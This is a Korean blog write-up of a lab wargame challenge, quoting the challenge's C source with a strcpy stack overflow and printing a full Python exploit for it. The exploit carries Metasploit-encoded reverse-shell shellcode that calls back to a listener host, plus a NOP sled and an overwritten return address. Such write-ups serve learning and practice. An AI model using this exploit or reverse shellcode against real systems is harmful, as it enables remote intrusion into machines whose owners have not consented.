sweetchip's blog


리눅스 시스템 해킹 공부도 본격적으로 시작하고 있습니다.


요즘.. 정말 정말 갈수록 할일이 많네요..


bob 지원서에 원서준비 학교공부 컴공부.. 그래도 없는것 보단 나은것 같네요..


곧 HDcon도.. ㅋㅋ





포트 20000으로 통신하는 프로그램의 소스와 바이너리가 있는 OS 이미지가 주어졌다.


VM웨어로 실행시키고 NC로 접속해서 풀수 있는 문제이다.


환경은 리눅스며 프로그램 방식은 GET방식의 요청을 받고... 따로 다른 직은 안한다.


하는짓은 그냥 취약점을 터트리는 일만 하는 간단한 프로그램이다.


그렇다면 소스를 보자.


1#include "../common/common.c" 2 3int fix_path(char *path) 4{ 5 char resolved[128]; 6 7 if(realpath(path, resolved) == NULL) return 1; // can't access path. will error trying to open 8 strcpy(path, resolved); // bomb! 9} 10 11char *parse_http_request() 12{ 13 char buffer[1024]; 14 char *path; 15 char *q; 16 17 printf("[debug] buffer is at 0x%08x :-)\n", buffer); 18 19 if(read(0, buffer, sizeof(buffer)) <= 0) errx(0, "Failed to read from remote host"); 20 if(memcmp(buffer, "GET ", 4) != 0) errx(0, "Not a GET request"); 21 22 path = &buffer[4]; 23 q = strchr(path, ' '); 24 if(! q) errx(0, "No protocol version specified"); 25 *q++ = 0; 26 if(strncmp(q, "HTTP/1.1", 8) != 0) errx(0, "Invalid protocol"); 27 28 fix_path(path); 29 30 printf("trying to access %s\n", path); 31 32 return path; 33} 34 35int main(int argc, char **argv, char **envp) 36{ 37 int fd; 38 char *p; 39 40 background_process(NAME, UID, GID); 41 fd = serve_forever(PORT); 42 set_io(fd); 43 44 parse_http_request();  


여기서의 문제는 fix_path에서 발생한다.


역시나 딱보이는데 strcpy는 편의상 쓰긴 하지만 자칫 잘못하면 취약점이 있을수 있는 위험한 함수이다.




직접 서버로 접근해보니 레벨0 답게도 버퍼의 주소까지 친절하게 알려주는 프로그램이다.


실제에서도 있었음 좋겟다.. ㅋㅋ


어쩃든 버퍼가 시작되는 주소는 바로 저곳이다.


저 버퍼에 페이로드와 쉘코드를 eip를 변경할수 있도록 적절하게 넣은다음 strcpy를 지나치면 boom 하면서 원하는 코드로 돌릴수 있을것이다.


이번엔 따로 디버깅 과정을 보여주지는 않을 것이다.


여러가지 정보를 모아서 Exploit을 작성한다



from struct import *
from socket import *

# linux/x86/shell_reverse_tcp - 95 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LHOST=192.168.0.2, LPORT=8080, 
shellcode = ("\xd9\xc0\xbe\x7c\x4a\xda\x79\xd9\x74\x24\xf4\x5f\x31\xc9" 
				"\xb1\x12\x31\x77\x17\x03\x77\x17\x83\x93\xb6\x38\x8c\x5a" 
				"\x9c\x4a\x8c\xcf\x61\xe6\x39\xed\xec\xe9\x0e\x97\x23\x69" 
				"\xfd\x0e\x0c\x55\xcf\x30\x25\xd3\x36\x58\x76\x8b\xc9\x9a" 
				"\x1e\xce\xc9\x85\x4e\x47\x28\x09\x08\x08\xfa\x3a\x66\xab" 
				"\x75\x5d\x45\x2c\xd7\xf5\x79\x02\xab\x6d\xee\x73\x29\x04" 
				"\x80\x02\x4e\x84\x0f\x9c\x70\x98\xbb\x53\xf2")
###################################################################
Host = '192.168.0.38'
Port = 20000
###################################################################


p = lambda x : pack('<L',x)
 
s = socket(AF_INET, SOCK_STREAM)
s.connect((Host,Port))

print "[!] Server : " + s.recv(1024)
print "[*] Sending Exploit code...."

exploit = ""
exploit += "GET "
exploit += "\x90" * (139-len(shellcode))
exploit += shellcode
exploit += p(0xbfb15bc8+30) #"\xa8\x5c\xb1\xbf"
exploit += " HTTP/1.1"
s.send(exploit)
s.close()

print "[*] Close Connection."


쉘코드는 리버스 쉘코드를 사용했다.



?? 그런데 쉘이 붙지 않는다.


물론 이 프로그램에선 쉘 붙는 부분을 코딩하지 않고 netcat으로 서버를 열어둿지만 붙지 않았다.


그래서 방화벽과 안티바이러스를 꺼보니 잘 붙었다.


그런데 다시 재부팅하고 방화벽, AV가 작동하는상태에서도 쉘이 붙었다.. 뭐지..;


어쨋든.. 끝내 쉘이 붙었다.



흐흐.

저작자 표시 비영리 변경 금지
신고

댓글 0